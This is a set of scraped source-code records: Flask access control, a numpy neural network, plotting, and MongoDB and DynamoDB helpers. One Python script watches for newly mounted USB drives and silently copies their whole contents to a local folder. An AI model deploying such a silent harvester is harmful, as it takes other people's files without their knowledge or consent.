request.session_ok:\n return True\n elif rule_mode == ACLManager.AUTH_MODE_ALLOW_ALL:\n return True\n return False\n\n @staticmethod\n def __match_path(req_detail, rule_detail):\n \"\"\" Checks whether a request path matches a rule path.\n The rule path can contiain wildcards * or ?.\n Although the * wildcard can only be in the last position.\n Returns True if the rule_detail pattern matches req_detail.\n \"\"\"\n req_path, req_method = req_detail.split('%')\n rule_path, rule_method = rule_detail.split('%')\n if req_method != rule_method:\n return False # Wrong method\n req_parts = req_path.split('/')\n rule_parts = rule_path.split('/')\n # If the request path is shorter than the rule, then it\n # can't possibly match\n if len(req_parts) < len(rule_parts):\n return False\n # If the rule ends in a wildcard, ignore all bits of the\n # request path that match the wildcard\n if rule_parts[-1] == '*':\n rule_parts = rule_parts[0:-1]\n req_parts = req_parts[0:len(rule_parts)]\n # If the request is longer than the rule (considering *),\n # the request can't match\n if len(req_parts) > len(rule_parts):\n return False\n # Now check each segment of the path to match either\n # directly or by wildcard\n for part_num in xrange(0, len(rule_parts)):\n req_part = req_parts[part_num]\n rule_part = rule_parts[part_num]\n if rule_part == '?':\n continue\n if req_part != rule_part:\n return False\n # Everything matched, so the rule matches the request\n return True\n\n @staticmethod\n def __do_abort():\n \"\"\" Aborts the current request due to access denied.\n If the export provided a redir value for access denied,\n the client will be redirected, otherwise a 403 will be\n returned.\n \"\"\"\n # Check whether this endpoint has a special redirect\n if request.endpoint:\n if request.endpoint in current_app.view_functions:\n ep_func = current_app.view_functions[request.endpoint]\n if ep_func:\n redir_url = getattr(ep_func, 'export_redir', None)\n if redir_url:\n orig_path = urllib.quote(request.path, safe='')\n real_redir = redir_url % {'return_to': orig_path}\n abort(flask.redirect(real_redir))\n abort(403)\n\n def __check_acl(self):\n \"\"\" Checks the request object authentication details against the ACL\n list for the requested resource.\n Raises a Flask 403 abort if access should be denied.\n \"\"\"\n # Work out the request URI\n real_path = request.path\n # Strip a trailing slash, as long as it isn't the only char\n if real_path.endswith('/') and len(real_path) > 1:\n real_path = real_path[:-1]\n real_path = \"%s%%%s\" % (real_path, request.method)\n # Now check the auth rules for this path\n if real_path in self.__rules:\n if self.__matches_rules(self.__rules[real_path]):\n # The request matches => Access allowed\n return\n self.__log.info(\"Request %s denied (Failed to match specific rule).\",\n request.uuid)\n self.__do_abort()\n # No specific rule for this path, try generic rules\n did_match = False\n for rule_path in self.__rules.iterkeys():\n if self.__match_path(real_path, rule_path):\n did_match = True\n if self.__matches_rules(self.__rules[rule_path]):\n # Access allowed via a generic rule\n return\n reason = \"no matching auth rule\"\n if did_match:\n reason = \"all wildcard rules denied access\"\n # No rule matches => request denied\n self.__log.info(\"Request %s denied (%s).\",\n request.uuid, reason)\n self.__do_abort()\n\n def check_request(self):\n \"\"\" Gets the current flask request object and checks it against the\n configured rule set.\n \"\"\"\n # We use '%' to seperate out the method from the rest of the request\n # We simply don't support requests that contain a % in the URI from\n # the client.\n if '%' in request.path:\n abort(404)\n request.dn = None\n request.token = None\n request.raw_token = None\n request.token_ok = False\n request.session_ok = False\n if self.__test_mode == ACLManager.AUTH_MODE_NONE:\n self.__get_real_request_auth()\n self.__check_acl()\n else:\n self.__get_fake_request_auth()\n # ACLs aren't actually checked in test mode\n","sub_path":"src/pdm/framework/ACLManager.py","file_name":"ACLManager.py","file_ext":"py","file_size_in_byte":12203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"248065830","text":"import sys\r\nimport numpy as np\r\nimport random\r\nfrom scipy.special import softmax\r\nfrom numpy import inf\r\n\r\n\r\ndef create_x_data_set(train_path):\r\n '''\r\n get path to file and create data set from it.\r\n :param train_path: path to file.\r\n :return: data set.\r\n '''\r\n file = open(train_path)\r\n content = [line.rstrip('\\n') for line in file]\r\n dataset = [line.split(\" \") for line in content]\r\n dataset = [list(map(int, vector)) for vector in dataset]\r\n file.close()\r\n return dataset\r\n\r\n\r\ndef create_y_data_set(train_path):\r\n '''\r\n create y data set of floats from path.\r\n :param train_path: path\r\n :return: data set y of floats.\r\n '''\r\n file = open(train_path)\r\n content = [int(value) for value in file]\r\n file.close()\r\n return content\r\n\r\n\r\ndef shuffle_data(x, y):\r\n '''\r\n shuffle the data x and y accordingly.\r\n :param x: train set.\r\n :param y: cluster classification.\r\n :return: x and y shuffled.\r\n '''\r\n zip_x_y = list(zip(x, y))\r\n random.shuffle(zip_x_y)\r\n new_x, new_y = zip(*zip_x_y)\r\n return new_x, new_y\r\n\r\n\r\ndef init_weights(rows, cols=1):\r\n # if cols == 1:\r\n # return np.random.rand(rows)\r\n # else:\r\n return np.random.randn(rows, cols)\r\n # return np.random.uniform(-0.08, 0.08, rows * cols).reshape(rows, cols)\r\n\r\n\r\ndef load_files():\r\n # train constants\r\n train_x_path = sys.argv[1]\r\n train_y_path = sys.argv[2]\r\n test_x_path = sys.argv[3]\r\n train_X = np.loadtxt(train_x_path)\r\n train_Y = np.loadtxt(train_y_path)\r\n test_x = np.loadtxt(test_x_path)\r\n return train_X, train_Y, test_x\r\n\r\n\r\ndef train(train_x, train_y, lr, epochs, weights):\r\n '''\r\n sdfsdf.\r\n :param train_x:\r\n :param train_y:\r\n :param lr:\r\n :param epochs:\r\n :param weights:\r\n '''\r\n # final_acc = 0.0\r\n # iteration = 0\r\n for i in range(epochs):\r\n sum_loss = 0.0\r\n train_x, train_y = shuffle_data(train_x, train_y)\r\n for x, y in zip(train_x, train_y):\r\n fprop_cache = forward_prop(weights, x)\r\n loss = get_negative_log_loss(fprop_cache[\"y_hat\"], y)\r\n sum_loss += loss\r\n gradients = back_prop(fprop_cache, y)\r\n weights = update_weights(weights, gradients, lr)\r\n # acc, validation_loss = validation_check(weights, validation_x, validation_y)\r\n # if final_acc < acc:\r\n # final_acc = acc\r\n # iteration = i\r\n # return final_acc, iteration\r\n # print(i, sum_loss / np.size(train_y), validation_loss, \"{}%\".format(acc * 100))\r\n return weights\r\n\r\n\r\ndef validation_check(weights, validation_x, validation_y):\r\n '''\r\n test the model each epoch on the validations set.\r\n :param weights: weights matrices.\r\n :param validation_x: validation data x.\r\n :param validation_y: classification data y.\r\n :return: correctness percent and average loss.\r\n '''\r\n sigma_loss = 0.0\r\n correct = 0.0\r\n num_of_examples = np.size(validation_x, 0)\r\n for x, y in zip(validation_x, validation_y):\r\n fprop_cache = forward_prop(weights, x)\r\n y_hat = fprop_cache[\"y_hat\"]\r\n loss = get_negative_log_loss(y_hat, y)\r\n sigma_loss += loss\r\n if y_hat.argmax() == y:\r\n correct += 1\r\n accuracy = correct / num_of_examples\r\n avg_loss = sigma_loss / num_of_examples\r\n return accuracy, avg_loss\r\n\r\n\r\ndef predict(weights, test_x):\r\n '''\r\n predict the classifications of the data set x and output it to file.\r\n :param weights: weights matrices.\r\n :param test_x: validation data x.\r\n :return: nothing.\r\n '''\r\n file = open(\"test_y\", \"w\")\r\n for x in test_x:\r\n fprop_cache = forward_prop(weights, x)\r\n y_hat = fprop_cache[\"y_hat\"]\r\n classification = y_hat.argmax()\r\n file.write(str(classification) + \"\\n\")\r\n file.close()\r\n\r\n\r\ndef relu(x):\r\n '''\r\n relu function get max between(0,x)\r\n :param x: sumple data.\r\n :return: max.\r\n '''\r\n return max(0, x)\r\n\r\n\r\ndef get_z2(weights, x):\r\n '''\r\n function compute part of the neural net.\r\n :param weights: list of weights: w1,w2 - matrices, b1,b2 - vectors.\r\n :param x: one data sampling.\r\n :return: w2*h+b2.\r\n '''\r\n w2 = weights[1]\r\n b2 = weights[3]\r\n h = get_h(weights, x)\r\n w2h = np.dot(w2, h)\r\n z2 = w2h + b2\r\n return z2\r\n\r\n\r\ndef get_h(weights, x):\r\n '''\r\n activate the activation function {ReLU,Sigmoid,TanH} to breake linearity.\r\n :return: result of g on z_1.\r\n :param weights: list of weights: w1,w2 - matrices, b1,b2 - vectors.\r\n :param x: one data sampling.\r\n '''\r\n g = np.vectorize(relu)\r\n z1 = get_z1(weights, x)\r\n h = g(z1)\r\n return h\r\n\r\n\r\ndef get_z1(weights, x):\r\n '''\r\n function compute part of the neural net.\r\n :param weights: list of weights: w1,w2 - matrices, b1,b2 - vectors.\r\n :param x: one data sampling.\r\n :return: w2*h+b2.\r\n '''\r\n w1 = weights[0]\r\n b1 = weights[2]\r\n z1 = np.dot(w1, x)\r\n z1 = np.add(z1, b1)\r\n return z1\r\n\r\n\r\ndef softMax(x):\r\n \"\"\"Compute softmax values for each sets of scores in x.\r\n :param x: vector of features\r\n \"\"\"\r\n e_x = np.exp(x - np.max(x))\r\n return e_x / e_x.sum(axis=0)\r\n\r\n\r\ndef forward_prop(weights, x):\r\n '''\r\n calculate the neural net functions.\r\n :param weights: list of weights: w1,w2 - matrices, b1,b2 - vectors.\r\n :param x: one data sampling.\r\n :return: y_hat = soft_max(z_2).\r\n '''\r\n w1, w2, b1, b2 = [weights[key] for key in ('w1', 'w2', 'b1', 'b2')]\r\n new_x = np.reshape(x, (-1, 1))\r\n z1 = np.dot(w1, new_x) + b1\r\n g = np.vectorize(relu)\r\n h = g(z1)\r\n maxi = h.max() or 1\r\n h = h / maxi\r\n z2 = np.dot(w2, h) + b2\r\n y_hat = softmax(z2)\r\n ret = {'x': new_x, 'z1': z1, 'h': h, 'z2': z2, 'y_hat': y_hat}\r\n for key in weights.keys():\r\n ret[key] = weights[key]\r\n return ret\r\n\r\n\r\ndef update_weights(weights, gradients, eta):\r\n '''\r\n the function update all the weights by the gradients and the eta\r\n :param gradients: gradients of the weights w1, w2, b1 b2.\r\n :param weights: matrix weights of the neural network.\r\n :param eta: learning rate of the neural network.\r\n :return: weights after updating.\r\n '''\r\n w1, w2, b1, b2 = [weights[key] for key in ('w1', 'w2', 'b1', 'b2')]\r\n dw1, dw2, db1, db2 = [eta * gradients[key] for key in ('dw1', 'dw2', 'db1', 'db2')]\r\n w1, w2, b1, b2 = w1 - dw1, w2 - dw2, b1 - db1, b2 - db2\r\n return {'w1': w1, 'w2': w2, 'b1': b1, 'b2': b2}\r\n\r\n\r\ndef relu_derivative(x):\r\n '''\r\n calculate relu derivative.\r\n :param x: paramter.\r\n :return: relu derivative 1 or 0.\r\n '''\r\n if x > 0:\r\n return 1\r\n return 0\r\n\r\n\r\ndef back_prop(fprop_cache, y):\r\n x, z1, h, z2, w2, y_hat = [fprop_cache[key] for key in ('x', 'z1', 'h', 'z2', 'w2', 'y_hat')]\r\n '''\r\n calculate w2:\r\n '''\r\n y_vec = np.zeros((y_hat.size, 1))\r\n y_vec[int(y)] = 1\r\n dl_dz2 = np.subtract(y_hat, y_vec) # dL/dy_hat *_dy_hat/dz2\r\n dz2_dw2 = h.T # dz2/dw2\r\n dw2 = np.dot(dl_dz2, dz2_dw2) # dLw2= dL/dy_hat * dy_hat/dz2 * dz2/dw2\r\n\r\n '''\r\n calculate w1:\r\n '''\r\n dz2_dh = w2 # dz2/dh\r\n dl_dh = np.dot(dl_dz2.T, dz2_dh) # dl/dh\r\n g = np.vectorize(relu_derivative)\r\n dh_dz1 = g(z1) # dh1_dz1\r\n dz1_dw1 = x # dz1/dw1\r\n # dw1 = np.dot(dl_dh.T, np.dot(dh_dz1.T, dz1_dw1)) # dLw1 = dL/dy_hat *_dy_hat/dz2 * dz2/dh * dh1/dz1 * dz1/dw1\r\n # dw1 = np.dot(dl_dh.T, np.dot(dh_dz1.T, dz1_dw1)) # dLw1 = dL/dy_hat *_dy_hat/dz2 * dz2/dh * dh1/dz1 * dz1/dw1\r\n dw1 = np.dot((dl_dh.T * dh_dz1), dz1_dw1.T)\r\n '''\r\n calculate b2:\r\n '''\r\n db2 = dl_dz2 # dz2/db2 = 1\r\n\r\n '''\r\n clculate b1:\r\n '''\r\n db1 = np.dot(dl_dh, dh_dz1) # dz1/db1 = 1\r\n return {'dw1': dw1, 'db1': db1, 'dw2': dw2, 'db2': db2}\r\n\r\n\r\ndef get_negative_log_loss(y_hat, y):\r\n '''\r\n calculate loss by negative log loss,with clusters vector: y_hat and the true classification y.\r\n :param y_hat: vector of percents clusters.\r\n :param y: real classification.\r\n :return: loss value.\r\n '''\r\n y_vec = np.zeros(y_hat.size)\r\n y_vec[int(y)] = 1\r\n # need to calculate sum of(y_i*log(y_hat_i))\r\n # first do log on y_hat:\r\n # TODO: check what to do with log on 0 (equal -inf). possible solution:\r\n # https://stackoverflow.com/questions/49602205/python-numpy-negative-log-likelihood-calculation-when-some-predicted-probabiliti\r\n y_hat = np.log2(y_hat)\r\n # change all -inf to zeros.\r\n y_hat[y_hat == -inf] = 0\r\n # return scalar of - y*log(y_hat)\r\n return -np.dot(y_vec, y_hat)\r\n\r\n\r\ndef normalize_data(x):\r\n '''\r\n the values is between 0-255, normalize the values to be [0,1]\r\n :param x: values to normalize.\r\n :return: x after normalize.\r\n '''\r\n x = np.divide(x, 255)\r\n return x\r\n\r\n\r\ndef check_hyper_parameters(lr, epochs, hidden_size, train_X, train_Y, clusters_num, validation_X, validation_Y):\r\n w1, w2 = init_weights(hidden_size, np.ma.size(train_X, 1)), init_weights(clusters_num, hidden_size)\r\n b1, b2 = init_weights(hidden_size), init_weights(clusters_num)\r\n weights = {'w1': w1, 'w2': w2, 'b1': b1, 'b2': b2}\r\n return train(train_X, train_Y, lr, epochs, weights, validation_X, validation_Y)\r\n\r\n\r\ndef main():\r\n '''\r\n Hyper parameters:\r\n '''\r\n\r\n # number of learning iterations:\r\n epochs = 25\r\n # size of hidden layer:\r\n hidden_size = 90\r\n # number of clusters:\r\n clusters_num = 10\r\n # part size of validation from test:\r\n validation_percent = 0.2\r\n # learning rate: 0.1 or 0.01 or 0.001.\r\n lr = 0.1\r\n\r\n train_X, train_Y, test_X = load_files()\r\n train_X = normalize_data(train_X)\r\n # size of division to train and validation.\r\n # cross_validation_size = int(len(train_X) * validation_percent)\r\n\r\n # validation_X, validation_Y = train_X[cross_validation_size:], train_Y[cross_validation_size:]\r\n # train_X, train_Y = train_X[:cross_validation_size], train_Y[:cross_validation_size]\r\n\r\n '''\r\n init all the parameters, weight matrixes and vectors between layers with hidden layer size h.\r\n '''\r\n w1, w2 = init_weights(hidden_size, np.ma.size(train_X, 1)), init_weights(clusters_num, hidden_size)\r\n b1, b2 = init_weights(hidden_size), init_weights(clusters_num)\r\n weights = {'w1': w1, 'w2': w2, 'b1': b1, 'b2': b2}\r\n weights = train(train_X, train_Y, lr, epochs, weights)\r\n predict(weights, test_X)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","sub_path":"ex3.py","file_name":"ex3.py","file_ext":"py","file_size_in_byte":10517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"513005161","text":"# -*- coding: utf-8 -*-\nimport numpy as np\nfrom scipy import interpolate\nimport pandas as pd\n\ndef get_readouts(df):\n \n d = {}\n time = df.time\n cells = df.value\n \n d['peak'] = get_peak(time, cells)\n d['tau'] = get_peaktime(time, cells)\n d['area'] = get_area(time, cells)\n d['decay'] = get_decay(time, cells)\n series = pd.Series(d, index=['peak', 'tau', 'area', 'decay'])\n \n return series\n\ndef get_peaktime(time, cells):\n\n cells = cells.array\n\n # only look at array where there are no nans \n cellmax = np.amax(cells)\n cellmin = cells[-1]\n # check if cells are maximum in size at the end of simulation\n crit1 = np.abs(cellmax-cellmin) > 1e-3\n crit2 = cellmax > cellmin\n crit3 = np.std(cells) > 0.001\n # test if cells are not constant\n if crit1 and crit2 and crit3:\n\n peak_idx = np.argmax(cells)\n # get max value\n peak = cells[peak_idx]\n peak_half = peak / 2.\n #print(peak)\n cells = cells[:(peak_idx+1)]\n time = time[:(peak_idx+1)]\n # assert that peak is not at beginning\n if peak_idx <= 3:\n tau = np.nan\n # assert that peak half is in new cell array\n elif np.all(peak_half 1e-3\n crit2 = cellmax > cellmin\n crit3 = np.std(cells) > 0.001\n \n # test that there is a global max before end of array\n if crit1 and crit2 and crit3:\n peak_id = np.argmax(cells)\n cells = cells[peak_id:]\n time = time[peak_id:]\n \n # make sure there are at least two values in the array\n assert len(cells) > 1\n \n # interpolate to get time unter half of diff between max and arr end is reached\n celldiff = (cellmax - cellmin) /2\n celldiff = cellmax - celldiff\n f = interpolate.interp1d(cells, time)\n #print(cellmax, cellmin, celldiff)\n tau = f(celldiff)\n else:\n tau = np.nan\n \n return tau\n\ndef get_area(time, cells):\n \n cells = cells.array \n cellmax = np.amax(cells)\n cellmin = cells[-1]\n # check if cells are maximum in size at the end of simulation\n crit1 = np.abs(cellmax-cellmin) > 1e-3\n crit2 = cellmax > cellmin\n crit3 = np.std(cells) > 0.001\n \n if crit1 and crit2 and crit3:\n area = np.trapz(cells, time)\n else: \n area = np.nan\n \n return area\n\ndef get_peak(time, cells):\n \n cells = cells.array \n cellmax = np.amax(cells)\n cellmin = cells[-1]\n # check if cells are maximum in size at the end of simulation\n crit1 = np.abs(cellmax-cellmin) > 1e-3\n crit2 = cellmax > cellmin\n crit3 = np.std(cells) > 0.001\n \n if crit1 and crit2 and crit3:\n peak = cellmax\n else: \n peak = np.nan\n \n return peak","sub_path":"code/module_readouts.py","file_name":"module_readouts.py","file_ext":"py","file_size_in_byte":3258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"376841888","text":"#!/usr/bin/env python3\n\nimport subprocess\nimport time\nimport shutil\n\n#--\ntarget_folder = \"/home/sarthak11/Desktop/TPF\"\nexcluded = [\"HP_TOOLS\"]\n#--\n#use lsusb and lsblk for excluded directory\ndef get_mountedlist():\n return [(item.split()[0].replace(\"├─\", \"\").replace(\"└─\", \"\"),\n item[item.find(\"/\"):]) for item in subprocess.check_output(\n [\"/bin/bash\", \"-c\", \"lsblk\"]).decode(\"utf-8\").split(\"\\n\") if \"/\" in item]\n\ndef identify(disk):\n command = \"find /dev/disk -ls | grep /\"+disk\n output = subprocess.check_output([\"/bin/bash\", \"-c\", command]).decode(\"utf-8\")\n if \"usb\" in output:\n return True\n else:\n return False\n\ndone = []\nwhile True:\n mounted = get_mountedlist()\n new_paths = [dev for dev in get_mountedlist() if not dev in done and not dev[1] == \"/\"]\n valid = [dev for dev in new_paths if (identify(dev[0]), dev[1].split(\"/\")[-1] in excluded) == (True, False)]\n for item in valid:\n target = target_folder+\"/\"+item[1].split(\"/\")[-1]\n try:\n shutil.rmtree(target)\n except FileNotFoundError:\n pass\n shutil.copytree(item[1], target)\n done = mounted\n\n#Alternative C++ approach\n\"\"\"\n#include \n#include \n#include \n\nusing namespace std;\n\nint main () \n{\n string line;\n ifstream file (\"/media/sarthak11/Tanmay/Sarthak/Rnp.txt\");\n ofstream file1 (\"/home/sarthak11/Desktop/Local2.txt\"); \n if (file.is_open())\n {\n while ( getline (file,line) )\n {\n\t//cout << line << '\\n';\n\tfile1<= 0')\n\n if max_sleep < 0:\n raise ValueError(u'max_sleep must be >= 0')\n\n if max_jitter < 0:\n raise ValueError(u'max_jitter must be >= 0')\n\n if not (0 <= attempt < max_attempts):\n raise ValueError(u'attempt value is out of range')\n\n ratio = float(attempt) / float(max_attempts)\n backoff_sec = ratio * max_sleep\n jitter_sec = random.random() * max_jitter\n\n return backoff_sec + jitter_sec\n\n\ndef to_oid(obj):\n \"\"\"Creates a new ObjectId based on the input.\n\n Returns None when TypeError or berrors.InvalidId\n is raised by the ObjectId class.\n\n :param obj: Anything that can be passed as an\n input to `objectid.ObjectId`\n \"\"\"\n try:\n return objectid.ObjectId(obj)\n except (TypeError, berrors.InvalidId):\n return None\n\n\ndef oid_ts(oid):\n \"\"\"Converts an ObjectId to a UNIX timestamp.\n :raises: TypeError if oid isn't an ObjectId\n \"\"\"\n try:\n return timeutils.delta_seconds(EPOCH, oid.generation_time)\n except AttributeError:\n raise TypeError(u'Expected ObjectId and got %s' % type(oid))\n\n\ndef stat_message(message, now):\n \"\"\"Creates a stat document from the given message, relative to now.\"\"\"\n oid = message['_id']\n created = oid_ts(oid)\n age = created - now\n\n return {\n 'id': str(oid),\n 'age': int(age),\n 'created': timeutils.iso8601_from_timestamp(created),\n }\n\n\ndef raises_conn_error(func):\n \"\"\"Handles mongodb ConnectionFailure error\n\n This decorator catches mongodb's ConnectionFailure\n exceptions and raises Marconi's ConnectionError instead.\n \"\"\"\n\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n try:\n return func(*args, **kwargs)\n except errors.ConnectionFailure as ex:\n # NOTE(flaper87): Raise the error\n LOG.exception(ex)\n msg = u'ConnectionFailure caught'\n raise storage_exceptions.ConnectionError(msg)\n\n return wrapper\n\n\nclass HookedCursor(object):\n\n def __init__(self, cursor, denormalizer):\n self.cursor = cursor\n self.denormalizer = denormalizer\n\n def __getattr__(self, attr):\n return getattr(self.cursor, attr)\n\n def __iter__(self):\n return self\n\n def __len__(self):\n return self.cursor.count(True)\n\n @raises_conn_error\n def next(self):\n item = next(self.cursor)\n return self.denormalizer(item)\n","sub_path":"marconi/queues/storage/mongodb/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"515361839","text":"from jdiag import *\r\n\r\nfrom com.xrbpowered.jdiagram.data import ExpFormatter\r\n\r\nfrom com.xrbpowered.jdiagram.chart import Page\r\nfrom com.xrbpowered.jdiagram.chart import ScatterChart\r\nfrom com.xrbpowered.jdiagram.chart.ScatterChart import Population\r\nfrom com.xrbpowered.jdiagram.chart import Anchor\r\n\r\nfrom com.xrbpowered.jdiagram.chart import StepRenderer\r\n\r\n'''\r\nresNames = [\r\n\t('result_g%d_AH', 'async, no weights, %d-con, bucket-fill', 'stroke:#5b0'),\r\n\t('result_g%d_AW', 'async, weights, %d-con, bucket-fill', 'stroke:#009'),\r\n\t('metis_g%d_AW', 'async, weights, %d-con, metis', 'stroke:#e90')\r\n]\r\ncons = [\r\n\t(4, 'stroke-width:1.5;stroke-dasharray: 2 2'),\r\n\t(8, 'stroke-width:1.5')\r\n]\r\n'''\r\n\r\ndata = Data.read(File('randgrid_dd.csv'))\r\n\r\npage = Page(1).setGap(5)\r\n\r\nfor log in [False]:\r\n\t# set up a new chart\r\n\tchart = ScatterChart().setTitle('Degree Distribution').setSize(500, 300)\r\n\tchart.setMargins(65, 20, 40, 100)\r\n\tchart.legend.setCols(5).posBottom(-40).setItemSize(80, 20)\r\n\tchart.clipChart = True\r\n\r\n\t# set up axes\r\n\tchart.axisx.setRange(0, 35, 5) \\\r\n\t\t\t.setAnchor(Anchor.bottom).setLabel('degree').setNumberFmt('%.0f')\r\n\tif not log:\r\n\t\tchart.axisy.setRange(False, 0, 3e5, 5e4) \\\r\n\t\t\t\t.setAnchor(Anchor.left).setLabel('nodes', Anchor.left.offset(-50)).setNumberFmt('%.0f')\r\n\telse:\r\n\t\tchart.axisy.setRange(True, 1, 1024*1024, 4) \\\r\n\t\t\t\t.setAnchor(Anchor.left).setLabel('nodes', Anchor.left.offset(-30)).setNumberFormatter(ExpFormatter.svgExp(2, 5))\r\n\r\n\t# add data lines\r\n\tfor r in range(0, 110, 10):\r\n\t\tphdr = 'rgrid%d' % r\r\n\t\tchart.addPopLegend('r=%.1f' % (r/100.0),\r\n\t\t\tPopulation(data, 'degree', phdr, 'fill:none;stroke-width:1.5;stroke:#%x55' % (r/10+5)) #.setRenderer(StepRenderer())\r\n\t\t)\r\n\tpage.add(chart)\r\n\r\n# finish and print\r\npage.printPage(System.out)\r\n","sub_path":"poets_aug20/diagrams/RGDDist.py","file_name":"RGDDist.py","file_ext":"py","file_size_in_byte":1776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"240263590","text":"import datetime\nimport os\nimport copy\n\nfrom boto3 import resource\nfrom boto3.dynamodb.conditions import Key\n\n\n# The boto3 dynamoDB resource\ndb = resource('dynamodb',\n region_name=os.environ.get(\"AWS_REGION_NAME\"),\n aws_access_key_id=os.environ.get(\"AWS_ACCESS_KEY_ID\"),\n aws_secret_access_key=os.environ.get(\"AWS_SECRET_ACCESS_KEY\"))\n\n\n#########\n# USERS #\n#########\ndef get_user(user_id):\n return _get_item('users', {'user_id': user_id})\n\n\ndef sync_or_create_user(openid_user):\n \"\"\"\n Checks the user, returned by the authentication-service\n Requires a user-dict with at least: sub, email, updated_at\n \"\"\"\n def _validate_user(openid_user):\n error = False\n msg = ''\n if not openid_user.get('sub'):\n error = True\n msg += ' sub'\n if not openid_user.get('email'):\n error = True\n msg += ' email'\n if not openid_user.get('updated_at'):\n error = True\n msg += ' updated_at'\n\n if error:\n return {'error': True, 'msg': 'Missing claims:' + msg}\n else:\n return {'msg': 'valid openid_user'}\n\n def _insert_user(openid_user):\n user = copy.deepcopy(openid_user)\n user['max_units'] = 10\n # user['active_units'] = []\n user['roles'] = ['user']\n user['user_id'] = openid_user.get('sub')\n\n # Generate additional, normalized key for db on insert or replace\n if openid_user.get('username'):\n federated_name = openid_user.get('username')\n elif openid_user.get('nickname'):\n federated_name = openid_user.get('nickname')\n elif openid_user.get('name'):\n federated_name = openid_user.get('name')\n else:\n federated_name = openid_user.get('email').split('@')[0]\n user['federated_name'] = federated_name\n\n if _put_item('users', user):\n # Tells client, that user is first-time user\n # '_action'-key does not persist\n user['_action'] = 'inserted'\n return user\n else:\n return {'error': True, 'msg': 'Unable to create user'}\n\n def _sync_user(openid_user, db_user):\n # NOTE: First update openid_user with existing local values, as they\n # will be overwritten on the put_item-request!\n user = copy.deepcopy(openid_user)\n user['federated_name'] = db_user.get('federated_name')\n user['max_units'] = db_user.get('max_units', 10)\n # user['active_units'] = db_user.get('active_units', [])\n user['roles'] = db_user.get('roles', ['user'])\n user['user_id'] = db_user.get('user_id')\n\n if _put_item('users', user, action='update'):\n user['_action'] = 'updated'\n return user\n else:\n return {'error': True, 'msg': 'Unable to sync user'}\n\n valid_input = _validate_user(openid_user)\n if valid_input.get('error'):\n return valid_input\n\n db_user = get_user(openid_user.get('sub'))\n # If no existing user\n if db_user.get('error'):\n if db_user.get('msg') == 'Item does not exist':\n return _insert_user(openid_user)\n else:\n return db_user\n elif db_user.get('updated_at') != openid_user.get('updated_at'):\n return _sync_user(openid_user, db_user)\n else:\n db_user['_action'] = 'checked'\n return db_user\n\n\ndef delete_user(user_id):\n # bookmarks_deleted =\n # searches_deleted =\n resp = _delete_item('users', {'user_id': user_id})\n if resp:\n return {'msg': 'Brugeren er nu slettet.',\n 'id': user_id}\n else:\n return {'error': True,\n 'msg': 'Brugeren fandtes ikke i databasen'}\n\n\ndef update_user_role(user_id, new_role):\n if new_role == 'employee':\n new_roles = ['user', 'employee']\n elif new_role == 'admin':\n new_roles = ['user', 'employee', 'admin']\n else:\n new_roles = ['user']\n\n key = {'user_id': user_id}\n updates = {\n 'attribute': 'roles',\n 'value': new_roles\n }\n resp = _update_item('users', key, updates)\n if resp:\n return resp\n else:\n return {'error': True, 'msg': 'Unable to update user_roles.'}\n\n\n############\n# SEARCHES #\n############\ndef list_searches(user_id):\n kwargs = {}\n kwargs['table_name'] = 'searches'\n kwargs['pk'] = {'name': 'user_id', 'value': user_id}\n return _query_table(**kwargs)\n\n\ndef get_search(key):\n return _get_item('searches', key)\n\n\ndef add_search(item):\n resp = _put_item('searches', item)\n if resp:\n return {'msg': 'Søgningen blev gemt.'}\n else:\n return {'error': True,\n 'msg': 'Ukendt serverfejl.'}\n\n\ndef update_search(user_id, created, description):\n key = {'user_id': user_id, 'created': created}\n update = {'attribute': 'description', 'value': description}\n resp = _update_item('searches', key, update)\n if resp:\n return resp\n else:\n return {'error': True,\n 'msg': 'Unable to update search. Try again later.'}\n\n\ndef delete_search(item):\n # key = {'user_id': user_id, 'created': created}\n resp = _delete_item('searches', item)\n if resp:\n return {'msg': 'Søgningen blev slettet',\n 'created': item.get('created')}\n else:\n return {'error': True,\n 'msg': 'Søgningen blev ikke slettet'}\n\n\n#############\n# BOOKMARKS #\n#############\ndef list_bookmarks(user_id, sort='sort_key', sort_desc=False, ids_only=False):\n # NOT USED\n kwargs = {}\n kwargs['table_name'] = 'bookmarks'\n kwargs['pk'] = {'name': 'user_id', 'value': user_id}\n if sort == 'created':\n kwargs['idx'] = 'user_id-created-index'\n if sort_desc:\n kwargs['rd'] = True\n resp = _query_table(**kwargs)\n # Return bookmarks\n if ids_only:\n return [_d.get('resource_id') for _d in resp]\n else:\n return resp\n\n\ndef put_bookmark(item):\n resp = _put_item('bookmarks', item)\n if resp:\n return {'msg': 'Materialet er nu bogmærket.',\n 'id': item.get('resource_id')}\n else:\n return {'error': True,\n 'msg': 'Ukendt serverfejl.'}\n\n\ndef delete_bookmark(item):\n # key = {'user_id': user_id, 'created': created}\n resp = _delete_item('bookmarks', item)\n if resp:\n return {'msg': 'Bogmærket er nu fjernet.',\n 'id': item.get('resource_id')}\n else:\n return {'error': True,\n 'msg': 'Ukendt serverfejl.'}\n\n\n#########\n# UNITS #\n#########\n# def list_storage_units(user_id=None):\n# kwargs = {}\n# kwargs['table_name'] = 'storage_units'\n# kwargs['pk'] = {'name': 'user_id', 'value': user_id}\n# resp = _query_table(**kwargs)\n# return resp\n\n\n# def get_storage_unit(unit_id, projection=None):\n# partition_key = {'unit_id', unit_id}\n# unit = _get_item('storage_units', partition_key)\n# if unit:\n# return unit\n# else:\n# return {'error': True, 'msg': 'Unable to query local db.'}\n\n\n# def insert_storage_unit(item):\n# return False\n\n\n# def update_storage_unit(unit_id, status):\n# return False\n\n\n# def delete_storage_unit(unit_id):\n# return False\n\n\n##########\n# ORDERS #\n##########\n# def get_order(user_id, resource_id):\n# return _get_item('orders',\n# {'user_id': user_id},\n# {'resource_id': resource_id})\n\n\n# def list_orders(key, value, ids_only=False, limit=None):\n# # List of orders only queries by partition_key, not also sort_key\n# # as 